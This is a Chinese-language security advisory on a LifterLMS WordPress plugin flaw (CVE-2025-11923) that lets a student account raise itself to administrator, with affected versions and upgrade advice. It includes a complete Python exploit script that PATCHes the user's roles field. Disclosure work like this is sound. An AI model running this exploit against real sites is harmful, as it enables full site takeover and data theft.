IPBUF安全漏洞报告
English
CVE-2025-11923 CVSS 8.8 高危

CVE-2025-11923 LifterLMS插件权限提升漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-11923
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LifterLMS WordPress Plugin

相关标签

权限提升WordPress插件REST APICVE-2025-11923LifterLMS高危漏洞身份验证绕过CMS安全

漏洞概述

LifterLMS是WordPress平台上流行的在线课程管理和电子学习插件。CVE-2025-11923是该插件中的一个严重权限提升漏洞,CVSS评分高达8.8。漏洞根源在于插件的REST API端点未能正确验证用户身份,允许已认证攻击者(只需学生级别权限)通过修改自己的角色数组来提升权限至管理员级别。攻击者可利用此漏洞完全控制WordPress网站,执行任意操作,包括安装恶意插件、修改内容或窃取敏感数据。该漏洞影响多个版本,危害范围广泛,所有使用受影响版本插件的网站都面临被入侵的风险。

技术细节

漏洞位于LifterLMS插件的REST API实现中,具体在update_item_permissions_check()函数存在权限校验缺陷。该函数在用户更新自己账户时返回true,但未验证角色变更请求的合法性。攻击者只需持有学生账户(最低权限),即可通过向REST API发送精心构造的请求包,修改自己账户的roles数组,将角色从'student'提升为'administrator'。此外,针对讲师的另一个端点(class-llms-rest-students-controller.php第386行)也提供了攻击向量。漏洞根源是插件在处理角色更新请求时,错误地认为用户修改自己的账户信息不需要额外验证,导致权限检查被绕过。攻击者利用此漏洞可绕过正常的权限体系,获得管理员控制权。

攻击链分析

STEP 1
步骤1
攻击者获取学生级别账户并通过JWT认证获取API访问令牌
STEP 2
步骤2
攻击者查询当前用户信息,获取用户ID
STEP 3
步骤3
攻击者构造恶意REST API请求,将roles字段修改为['administrator']
STEP 4
步骤4
由于update_item_permissions_check()函数未验证角色变更,权限检查被绕过
STEP 5
步骤5
攻击者账户权限提升为管理员,获得对WordPress站点的完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11923 PoC - LifterLMS Privilege Escalation # Target: WordPress site with LifterLMS plugin TARGET_URL = "http://target-wordpress-site.com" USERNAME = "student_user" PASSWORD = "student_password" def exploit_privilege_escalation(): """ This PoC demonstrates privilege escalation in LifterLMS plugin. An authenticated user with student role can escalate to administrator. """ session = requests.Session() # Step 1: Authenticate and get JWT token auth_url = f"{TARGET_URL}/wp-json/jwt-auth/v1/token" auth_data = { "username": USERNAME, "password": PASSWORD } auth_response = session.post(auth_url, json=auth_data) if auth_response.status_code != 200: print("[-] Authentication failed") return False token = auth_response.json().get("token") headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Step 2: Get current user info to find user ID user_url = f"{TARGET_URL}/wp-json/llms/v1/students/me" user_response = session.get(user_url, headers=headers) user_id = user_response.json().get("id") # Step 3: Exploit - Update user role to administrator # This is the core of CVE-2025-11923 update_url = f"{TARGET_URL}/wp-json/llms/v1/students/{user_id}" exploit_payload = { "roles": ["administrator"] # Privilege escalation payload } update_response = session.patch(update_url, headers=headers, json=exploit_payload) if update_response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] User is now an administrator") return True else: print(f"[-] Exploit failed: {update_response.status_code}") return False if __name__ == "__main__": exploit_privilege_escalation()

影响范围

LifterLMS 3.5.3 - 3.41.2
LifterLMS 4.0.0 - 4.21.3
LifterLMS 5.0.0 - 5.10.0
LifterLMS 6.0.0 - 6.11.0
LifterLMS 7.0.0 - 7.8.7
LifterLMS 8.0.0 - 8.0.7
LifterLMS 9.0.0 - 9.0.7
LifterLMS 9.1.0

防御指南

临时缓解措施
立即将LifterLMS插件升级到9.1.1或更高版本。如果无法立即升级,可临时禁用REST API功能或使用第三方安全插件限制API访问。同时应检查所有用户账户,删除任何未经授权的管理员账户,并启用双因素认证增强管理员账户安全。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表